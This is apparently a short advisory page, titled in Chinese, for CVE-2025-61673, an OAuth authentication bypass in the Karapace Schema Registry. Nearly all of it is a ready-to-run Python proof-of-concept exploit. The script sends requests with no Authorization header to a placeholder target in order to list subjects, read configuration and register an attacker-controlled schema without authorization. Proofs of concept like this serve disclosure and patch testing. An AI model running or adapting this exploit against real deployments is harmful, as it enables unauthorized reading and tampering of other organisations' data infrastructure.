CVE-2025-61673：Karapace OAuth 2.0认证绕过漏洞

#!/usr/bin/env python3 # CVE-2025-61673 - Karapace OAuth 2.0 Authentication Bypass PoC # This PoC demonstrates the authentication bypass by sending requests # WITHOUT an Authorization header to protected Schema Registry endpoints. import requests import json # Target Karapace Schema Registry endpoint TARGET_URL = "http://target-karapace-host:8081" def exploit_read_subjects(): """ Bypass OAuth authentication by omitting the Authorization header. The server skips token validation entirely when no header is present. """ # Note: No Authorization header is sent - this triggers the bypass response = requests.get(f"{TARGET_URL}/subjects") if response.status_code == 200: print("[+] Authentication bypassed successfully!") print(f"[+] Retrieved subjects: {response.json()}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False def exploit_read_config(subject): """ Read global or subject-level configuration without authentication. """ response = requests.get(f"{TARGET_URL}/config/{subject}") if response.status_code == 200: print(f"[+] Config for {subject}: {response.json()}") return response.json() return None def exploit_register_schema(subject, schema): """ Register a malicious schema without authentication. """ payload = {"schema": json.dumps(schema)} headers = {"Content-Type": "application/vnd.schemaregistry.v1+json"} # No Authorization header - bypasses OAuth validation response = requests.post( f"{TARGET_URL}/subjects/{subject}/versions", headers=headers, data=json.dumps(payload) ) if response.status_code == 200: print(f"[+] Schema registered: {response.json()}") return True return False if __name__ == "__main__": print("[*] CVE-2025-61673 - Karapace OAuth Bypass PoC") print("[*] Targeting:", TARGET_URL) print() # Step 1: List all subjects (unauthorized read) exploit_read_subjects() # Step 2: Read configuration exploit_read_config("test-subject") # Step 3: Register arbitrary schema (unauthorized write) malicious_schema = { "type": "record", "name": "MaliciousRecord", "fields": [{"name": "data", "type": "string"}] } exploit_register_schema("attacker-subject", malicious_schema)